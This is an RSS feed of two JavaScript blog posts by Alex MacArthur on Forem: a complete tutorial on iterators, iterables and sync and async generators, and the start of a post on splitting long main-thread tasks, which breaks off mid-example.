<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Alex MacArthur</title>
    <description>The latest articles on Forem by Alex MacArthur (@alexmacarthur).</description>
    <link>https://forem.com/alexmacarthur</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F52577%2Fa72d51b2-b3e4-4f6c-a640-11b525ef4ea4.jpeg</url>
      <title>Forem: Alex MacArthur</title>
      <link>https://forem.com/alexmacarthur</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/alexmacarthur"/>
    <language>en</language>
    <item>
      <title>I think the ergonomics of generators is growing on me.</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Mon, 12 May 2025 10:00:39 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/i-think-the-ergonomics-of-generators-is-growing-on-me-3ann</link>
      <guid>https://forem.com/alexmacarthur/i-think-the-ergonomics-of-generators-is-growing-on-me-3ann</guid>
      <description>&lt;p&gt;I like the "syntactic sugar" JavaScript's seen over the past decade (arrow functions, template literals, destructuring assignment, etc.). I think it's because most of these features solved real pain points for me (some of which I didn't even know I had). The benefits were clear and there was plenty of opportunity to wield them.&lt;/p&gt;

&lt;p&gt;But there are some oddballs in there... like generator functions. They've been around just as long as other key ES2015+ features, but their practicality hasn't exactly caught on. You might not even immediately recognize one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function* generateAlphabet() {
  yield "a";
  yield "b";
  // ... 
  yield "z";
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To be fair, I &lt;em&gt;have&lt;/em&gt; found them handy at least once. I've written about using them for &lt;a href="https://macarthur.me/posts/destructuring-with-generators/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;destructuring an arbitrary number of items&lt;/a&gt; on demand. I still love that use case, but I do wonder if there's something more I'm missing out on.&lt;/p&gt;

&lt;p&gt;So, I wanted to give them an honest, intentional shake. Maybe after getting a better feel for them, opportunities would pop up. To my surprise, I think I've begun to appreciate both the ergonomics they offer and the mental model they encourage, at least in certain scenarios. I'll try to unwrap where I'm at. First, let’s step back and flesh things out a bit.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Iterator &amp;amp; Iterable Protocols
&lt;/h2&gt;

&lt;p&gt;Generators won't make much sense unless we cover the two distinct protocols on which they depend: the &lt;em&gt;iterator&lt;/em&gt; and &lt;em&gt;iterable&lt;/em&gt; protocols. They both deal with &lt;em&gt;the process of producing an indeterminate sequence of values&lt;/em&gt;. The latter protocol builds upon the former.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Iterator Protocol
&lt;/h3&gt;

&lt;p&gt;This one standardizes the shape &amp;amp; behavior of an object that returns a sequence. At bare minimum, any object is an iterator if:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It exposes a &lt;code&gt;next()&lt;/code&gt; method returning an object containing two properties: 

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;value: any&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;done: boolean&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://tc39.es/ecma262/multipage/control-abstraction-objects.html?ref=cms.macarthur.me#sec-iterator-interface" rel="noopener noreferrer"&gt;That's... it.&lt;/a&gt; Here's nice, simple one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const gospelIterator = {
  index: -1,

  next() {
    const gospels = ["Matthew", "Mark", "Luke", "John"];
    this.index++;

    return {
      value: gospels.at(this.index),
      done: this.index + 1 &amp;gt; gospels.length,
    };
  },
};

gospelIterator.next(); // {value: 'Matthew', done: false}
gospelIterator.next(); // {value: 'Mark', done: false}
gospelIterator.next(); // {value: 'Luke', done: false}
gospelIterator.next(); // {value: 'John', done: false}
gospelIterator.next(); // {value: undefined, done: true}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sequence doesn't &lt;em&gt;have&lt;/em&gt; to end, by the way. Infinite iterators are perfectly OK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const infiniteIterator = {
  count: 0,
  next() {
    this.count++;

    return {
      value: this.count,
      done: false,
    };
  },
};

infiniteGenerator.next(); // Counts forever...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aside from providing some consistency, this protocol alone may not feel very useful. The &lt;em&gt;iterable protocol&lt;/em&gt; should help.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Iterable Protocol
&lt;/h3&gt;

&lt;p&gt;An object is &lt;em&gt;iterable&lt;/em&gt; if it has a &lt;code&gt;[Symbol.iterator]()&lt;/code&gt; method returning an &lt;em&gt;iterator&lt;/em&gt; object. Every time you've used a &lt;code&gt;for...of&lt;/code&gt; loop or destructured an array, you've leveraged this protocol. &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols?ref=cms.macarthur.me#built-in_iterables" rel="noopener noreferrer"&gt;It's built into common primitives&lt;/a&gt;, including &lt;code&gt;String&lt;/code&gt;, &lt;code&gt;Array&lt;/code&gt;, and &lt;code&gt;Map&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Implementing it yourself allows you to define how a &lt;code&gt;for...of&lt;/code&gt; loop behaves. Building on the example from above, this is an iterable object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const gospelIteratable = {
  [Symbol.iterator]() {
    return {
      index: -1,

      next() {
        const gospels = ["Matthew", "Mark", "Luke", "John"];
        this.index++;

        return {
          value: gospels.at(this.index),
          done: this.index + 1 &amp;gt; gospels.length,
        };
      },
    };
  },
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, both a &lt;code&gt;for...of&lt;/code&gt; loop and destructuring will just work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for (const author of gospelIteratable) {
  console.log(author); // Matthew, Mark, Luke, John
}

console.log([...gospelIteratable]);
// ['Matthew', 'Mark', 'Luke', 'John']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's graduate to an example that can't be so easily mimicked with a simple array. Here's one iterating through every leap year after 1900:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function isLeapYear(year) {
  return year % 100 === 0 ? year % 400 === 0 : year % 4 === 0;
}

const leapYears = {
  [Symbol.iterator]() {
    return {
      startYear: 1900,
      currentYear: new Date().getFullYear(),
      next() {
        this.startYear++;

        while (!isLeapYear(this.startYear)) {
          this.startYear++;
        }

        return {
          value: this.startYear,
          done: this.startYear &amp;gt; this.currentYear,
        };
      },
    };
  },
};

for (const leapYear of leapYears) {
  console.log(leapYear);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that we don't need to wait for the &lt;em&gt;entire sequence&lt;/em&gt; of years to be built ahead of time. All state is stored within the iterable object itself, and the next item is computed &lt;em&gt;on demand&lt;/em&gt;. That's worth camping out on some more.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lazy Evaluation
&lt;/h3&gt;

&lt;p&gt;Lazy evaluation is one of the most-touted benefits of iterables. We don't &lt;em&gt;need&lt;/em&gt; every item in the sequence right from the get-go. In certain circumstances, this can be a great way to prevent performance issues.&lt;/p&gt;

&lt;p&gt;Look at our &lt;code&gt;leapYears&lt;/code&gt; iterable again. If you wanted to stick with a &lt;code&gt;for&lt;/code&gt; loop to handle these values but &lt;em&gt;not&lt;/em&gt; use an iterable, you might've reached for a pre-built array:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const leapYears = [];
const startYear = 1900;
const currentYear = new Date().getFullYear();

for (let year = startYear + 1; year &amp;lt;= currentYear; year++) {
  if (isLeapYear(year)) {
      leapYears.push(year);
    }
}

for (const leapYear of leapYears) {
  console.log(leapYear);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code is certainly clear and readable (many would say more so than the previous version), but there are trade-offs: we're executing &lt;em&gt;two&lt;/em&gt; &lt;code&gt;for&lt;/code&gt; loops instead of one, and more importantly, processing &lt;em&gt;the entire list of values up-front&lt;/em&gt;. It's a negligible impact for a scenario like this, but could be more taxing for a costly calculation, or for a much larger dataset. Think of something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for (const thing of getExpensiveThings(1000)) {
  // Do something important with thing.
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without a custom iterable behind &lt;code&gt;getExpensiveThings()&lt;/code&gt;, the entire list of 1,000 items must be built &lt;em&gt;before anything&lt;/em&gt; can be done within the loop. The amount of time between executing the script and doing something of value is needlessly large.&lt;/p&gt;

&lt;p&gt;In the same vein, it's nice for when you might not &lt;em&gt;need&lt;/em&gt; every item in the sequence. Maybe you want to find the first leap year a person experiences by birth year. Once it's identified, there's no reason to continue. If a pre-built array was used, part of it would end up being populated for nothing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function getFirstLeapYear(birthYear) {
  for (const leapYear of leapYears) {
    if (leapYear &amp;gt;= birthYear) return leapYear;
  }

  return null;
}

// Only evaluates leap years up to 1992:
getFirstLeapYear(1989) // 1992
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Obviously, the efficiency gains would be more interesting with highly resource-intensive work, but you get the idea. If items aren't needed, no compute is wasted preparing them.&lt;/p&gt;

&lt;p&gt;You're in good company if you're irked by how complex it feels to build one of these, by the way, so let's finally jump to generators – a feature built to make all this a little more ergonomic.&lt;/p&gt;

&lt;h2&gt;
  
  
  Smoothing Over the Protocols w/ Generators
&lt;/h2&gt;

&lt;p&gt;Here's the same iterable from above, but written as a &lt;em&gt;generator function,&lt;/em&gt; which returns a &lt;em&gt;generator 0bject&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function* generateGospels() {
  yield "Matthew";
  yield "Mark";
  yield "Luke";
  yield "John";
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two important constructs here: the &lt;code&gt;function*&lt;/code&gt; and &lt;code&gt;yield&lt;/code&gt; keywords. The former marks it as a generator function, and you can think of the &lt;code&gt;yield&lt;/code&gt; keyword as hitting "pause" whenever the generator is asked for the next value.&lt;/p&gt;

&lt;p&gt;Under the hood, the same &lt;code&gt;next()&lt;/code&gt; method is called here too. Every time it's invoked, it'll move onto the next &lt;code&gt;yield&lt;/code&gt; statement (unless there aren't any more).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const generator = generateGospels();

console.log(generator.next()); // {value: 'Matthew', done: false}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And of course, our &lt;code&gt;for...of&lt;/code&gt; loop behaves as expected as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for (const gospel of generateGospels()) {
  console.log(gospel);
}

// Matthew
// Mark
// Luke
// John
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember: iterables (and generators) can be &lt;em&gt;infinite&lt;/em&gt;, which means you might see something like this in the wild:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function* multipleGenerator(base) {
  let current = base;

  while (true) {
    yield current;

    current += base;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Loops like that look scary, but they don’t have to lock up your browser. As long as a &lt;code&gt;yield&lt;/code&gt; is stuck between each iteration, everything will be paused when the next value is requested, and execution can go on its merry way.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const multiplier = multipleGenerator(22);

multiplier.next(); // {value: 22, done: false}
multiplier.next(); // {value: 44, done: false}
multiplier.next(); // {value: 66, done: false}

//... no infinite loop!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That said, something worth calling out: generators execute &lt;em&gt;synchronously&lt;/em&gt;, so there's still plenty of opportunity to hold up the main thread. Fortunately, there are &lt;a href="https://macarthur.me/posts/long-tasks/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;ways to prevent it&lt;/a&gt;. There's also &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncGenerator?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;an &lt;code&gt;AsyncGenerator&lt;/code&gt; object&lt;/a&gt; that may help navigate challenges like this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where I've Begun to Appreciate Them
&lt;/h2&gt;

&lt;p&gt;There's no groundbreaking capability here. I'm hard-pressed to find a problem that can't be solved with more common approaches. But as I've started working with them more, I'm coming to appreciate generators more often. A few reasons that come to mind:&lt;/p&gt;

&lt;h3&gt;
  
  
  They can help reduce tight coupling.
&lt;/h3&gt;

&lt;p&gt;Generators (and all other iterators) shine at encapsulating themselves, including the management of its own state. More &amp;amp; more, I'm noticing how this helps ease the coupling between components I had always blindly made interdependent.&lt;/p&gt;

&lt;p&gt;Scenario: when a button is clicked, you want to sequentially show the moving average of some price over the past five years, starting long ago. You only need the average of one window at a time, and you might not even need every possible item in the set (the user might not click through all the way). This would do the job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;let windowStart = 0;

function calculateMovingAverage(values, windowSize) {
  const section = values.slice(windowStart, windowStart + windowSize);

  if (section.length &amp;lt; windowSize) return null;

  return section.reduce((sum, val) =&amp;gt; sum + val, 0) / windowSize;
}

loadButton.addEventListener("click", function () {
  const avg = calculateMovingAverage(prices, 5);
  average.innerHTML = `Average: $${avg}`;
  windowStart++;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every time the button is clicked, the next average is rendered to the screen. But it's lame that we need to have a persistent &lt;code&gt;windowStart&lt;/code&gt; variable at such a high scope, and I don't feel great about making the event listener responsible for updating that state. I want it exclusively focused on updating the UI.&lt;/p&gt;

&lt;p&gt;On top of that, I might want to derive moving averages somewhere else on the page too. That'd be hard with so many things intersecting with everything else. Boundaries are weak and portability is a no-go.&lt;/p&gt;

&lt;p&gt;A generator would help remedy this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function* calculateMovingAverage(values, windowSize) {
  let windowStart = 0;

  while (windowStart &amp;lt;= values.length - 1) {
    const section = values.slice(windowStart, windowStart + windowSize);

    yield section.reduce((sum, val) =&amp;gt; sum + val, 0) / windowSize;

    windowStart++;
  }
}

const generator = calculateMovingAverage(prices, 5);

loadButton.addEventListener("click", function () {
  const { value } = generator.next();
  average.innerHTML = `Average: $${value}`;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are some nice perks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;windowStart&lt;/code&gt; variable is only exposed where it's needed. No further. &lt;/li&gt;
&lt;li&gt;Since state and logic are self-contained, you could have multiple, distinct generators being used in parallel with no issue. &lt;/li&gt;
&lt;li&gt;Everything’s more focused in purpose. The math + state are left to the generator, and the click handler updates the DOM. Clear boundaries. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I like that model. And we can push it even further. Up until now, the click handler has been the one &lt;em&gt;asking for&lt;/em&gt; the next value, directly depending on our generator to provide it. But we can flip that on it's head, allowing the generator to purely provide the ready-to-go values, leaving the click handler to do &lt;em&gt;just&lt;/em&gt; something with it. Neither piece needs to know about the intricacies of the other.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for (const value of calculateMovingAverage(prices, 5)) {
  await new Promise((r) =&amp;gt; {
    loadButton.addEventListener(
      "click",
      function () {
        average.innerHTML = `Average: $${value}`;
        r();
      },
      { once: true }
    );
  });
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I can feel the heads turning &amp;amp; noses scrunching. It's not exactly a pattern I'd consider natural, but I respect the fact that it's possible. If the principle of "inversion of control" comes to mind reading through it, it did for me too. There's virtually no interdependence; no need for one component to know about the implementation details of the other. Once the work is done, the listener's cleaned up and control is given back to the generator. My gut says Uncle Bob might at least appreciate the sentiment (if not, &lt;em&gt;please&lt;/em&gt; make me the subject of a bathrobe rant 🤞).&lt;/p&gt;

&lt;h3&gt;
  
  
  They can help avoid little "annoying" things.
&lt;/h3&gt;

&lt;p&gt;I've been surprised by the number of pesky practices I've often had to use to accomplish things in the past. Think: recursion, callbacks, etc. There's nothing wrong with them, but they don't &lt;a href="https://konmari.com/marie-kondo-rules-of-tidying-sparks-joy/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;spark joy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;One area in which that's been felt is recurring loops. Think of a dashboard displaying the latest application vitals every second. Features like this can be divided up into two concerns: requesting the data, and rendering it to the UI. There are plenty of options for getting it done:&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;setInterval()&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;You could opt for the classic &lt;code&gt;setInterval()&lt;/code&gt; – an appropriate choice since its whole purpose is to do things over and over and over (and over).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// ...and over!

function monitorVitals(cb) {
  setInterval(async () =&amp;gt; {
    const vitals = await requestVitals();

    cb(vitals);
  }, 1000);
}

monitorVitals((vitals) =&amp;gt; {
  console.log("Update the UI...", vitals);
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But a couple of things might irk you. To keep those two concerns separate, it requires a callback be passed around, potentially triggering deep wounds of "callback hell" from JavaScript's pre-Promise days. On top of that, the interval doesn't care about how long it takes to request the data. The request &lt;em&gt;could&lt;/em&gt; end up lasting longer than your interval, causing weird out-of-order issues.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;setTimeout()&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;As an alternative, maybe you'd go with recursion and a Promise-wrapped &lt;code&gt;setTimeout()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function monitorVitals(cb) {
  const vitals = await requestVitals();

  cb(vitals);

  await new Promise((r) =&amp;gt; {
    setTimeout(() =&amp;gt; monitorVitals(cb), 1000);
  });
}

monitorVitals((vitals) =&amp;gt; {
  console.log("Update the UI...", vitals);
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's fine too. But recursion may have killed your great-grandfather in the war and you don’t want to relive that trauma. You’re also still required to pass that callback around.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;while(){}&lt;/code&gt;
&lt;/h4&gt;

&lt;p&gt;There's also an infinite &lt;code&gt;while&lt;/code&gt; loop, broken up by some asynchronous code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function monitorVitals(cb) {
  while (true) {
    await new Promise((r) =&amp;gt; setTimeout(r, 1000));

    const vitals = await requestVitals();
    cb(vitals);
  }
}

monitorVitals((vitals) =&amp;gt; {
  console.log("Update the UI...", vitals);
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No more recursion, but that callback remains. Again, there's nothing in any of these examples inherently problematic. These are just tiny thorns in one's side. Fortunately, there's another option.&lt;/p&gt;

&lt;h4&gt;
  
  
  Enter: The Asynchronous Generator
&lt;/h4&gt;

&lt;p&gt;I hinted at this earlier. A regular generator can become an &lt;em&gt;async&lt;/em&gt; generator by placing &lt;code&gt;async&lt;/code&gt; in its definition. That is stupidly obvious to write, but it's special in another way. Async generators can use a &lt;code&gt;for await&lt;/code&gt; loop to run through the sequence of resolved values.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function* generateVitals() {
  while (true) {
    const result = await requestVitals();

    await new Promise((r) =&amp;gt; setTimeout(r, 1000));

    yield result
  }
}

for await (const vitals of generateVitals()) {
  console.log("Update the UI...", vitals);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resulting behavior is the same, but without the emotional triggers. There are no timing risks, no recursion, and no callbacks. Distinct concerns can neatly keep to themselves. All you need to do is handle the sequence.&lt;/p&gt;

&lt;h3&gt;
  
  
  They can help make exhaustive pagination more efficient.
&lt;/h3&gt;

&lt;p&gt;You've probably done something like this if you've ever needed every item of a paginated resource.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function fetchAllItems() {
  let currentPage = 1;
  let hasMore = true;
  let items = [];

  while (hasMore) {
    const data = await requestFromApi(currentPage);

    hasMore = data.hasMore;
    currentPage++;

    items = items.concat(data.items);
  }

  return items;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Few can walk away from that feeling at complete peace with so many auxiliary variables and list stitching going on. Not to mention, you need to wait for that API to be completely exhausted &lt;em&gt;before&lt;/em&gt; anything more interesting can occur.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const allItems = await fetchAllItems();

// Won't run until *all* items are fetched.
for (const item of items) {
  // Do stuff.
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not the most responsible solution in terms of timing or memory efficiency. We could get around it by refactoring to process items as each page is requested, but we then might suffer from the same issues we've explored so far.&lt;/p&gt;

&lt;p&gt;Try out this option instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;async function* fetchAllItems() {
  let currentPage = 1;

  while (true) {
    const data = await requestFromApi(currentPage);

    if (!data.hasMore) return;

    currentPage++;

    yield data.items;
  }
}

for await (const items of fetchAllItems()) {
  // Do stuff.
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fewer auxiliary variables, much less time before any processing can begin, and concerns are still neatly tucked away from each other. Not bad.&lt;/p&gt;

&lt;h3&gt;
  
  
  They make it really nice to generate sets of items on-the-fly.
&lt;/h3&gt;

&lt;p&gt;I mentioned this in the beginning, but it's so good, I'm gonna sing its praises again. Since generators are iterable, they can be destructured like you would any array. If you need a utility to generate various batches of things, generators make it real simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function* getElements(tagName = 'div') {
  while (true) yield document.createElement(tagName);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, just destructure away, as many times as you like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const [el1, el2, el3] = getElements('div');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Objectively beautiful. For some more detail on this trick, &lt;a href="https://macarthur.me/posts/destructuring-with-generators/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;see the full post&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  I Guess We'll See
&lt;/h2&gt;

&lt;p&gt;It's hard to tell if my newfound appreciation for generators will stick around for the long haul (I'm probably still in a bit of a honeymoon phase with them right now).&lt;/p&gt;

&lt;p&gt;But even if the enthusiasm dies tomorrow, I'm glad I've got more reps under my belt. Knowing how to use the tool is good and valuable, but being forced to rethink how I tend to approach a problem is even better. A decent ROI.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>generators</category>
      <category>iterables</category>
    </item>
    <item>
      <title>There are a lot of ways to break up long tasks in JavaScript.</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Mon, 03 Feb 2025 03:11:10 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/there-are-a-lot-of-ways-to-break-up-long-tasks-in-javascript-4lhf</link>
      <guid>https://forem.com/alexmacarthur/there-are-a-lot-of-ways-to-break-up-long-tasks-in-javascript-4lhf</guid>
      <description>&lt;p&gt;It's not hard to bork your site's user experience by letting a long, expensive task hog the main thread. Even as applications grown in complexity, the event loop can still do only &lt;em&gt;one thing&lt;/em&gt; at a time. If any of your code is squatting on it, everything else is on standby, and it won't take long for your users to notice.&lt;/p&gt;

&lt;p&gt;Here's a contrived example: a button for incrementing a count on the screen, alongside a big ol' loop doing hard work. It's running a synchronous pause, but pretend this is something meaningful that you, for whatever reason, need to perform on the main thread, and in order.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;button id="button"&amp;gt;count&amp;lt;/button&amp;gt;
&amp;lt;div&amp;gt;Click count: &amp;lt;span id="clickCount"&amp;gt;0&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;Loop count: &amp;lt;span id="loopCount"&amp;gt;0&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
  function waitSync(milliseconds) {
    const start = Date.now();
    while (Date.now() - start &amp;lt; milliseconds) {}
  }

  button.addEventListener("click", () =&amp;gt; {
    clickCount.innerText = Number(clickCount.innerText) + 1;
  });

  const items = new Array(100).fill(null);

  for (const i of items) {
    loopCount.innerText = Number(loopCount.innerText) + 1;
    waitSync(50);
  }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you run this, not even the content of &lt;code&gt;loopCount&lt;/code&gt; will update. That's because the browser never gets a chance to paint to the screen. This is all you see, no matter how furiously you click. Only when the looping is done do you get any feedback.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgk3f1s6kwsedb8beuafq.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgk3f1s6kwsedb8beuafq.gif" width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The dev tools flame chart corroborates. That single task in the event loop takes five seconds to complete. Horrrrrible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg8qh6chxw57kvkcwgvkv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg8qh6chxw57kvkcwgvkv.png" alt="flame chart showing long, expensive task" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you've been in a similar situation before, you know that the solution is periodically break that big task up across multiple ticks of the event loop. This gives other parts of the browser a chance to use the main thread for other important things, like handling button clicks and repaints.&lt;/p&gt;

&lt;p&gt;However, there are a shocking number of ways to pull this off. We're gonna explore some of them, starting with the most classic: recursion.&lt;/p&gt;

&lt;h2&gt;
  
  
  setTimeout() + Recursion
&lt;/h2&gt;

&lt;p&gt;If you wrote JavaScript before the gift of promises, you've undoubtedly seen something like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function processItems(items, index) {
  index = index || 0;
  var currentItem = items[index];

  console.log("processing item:", currentItem);

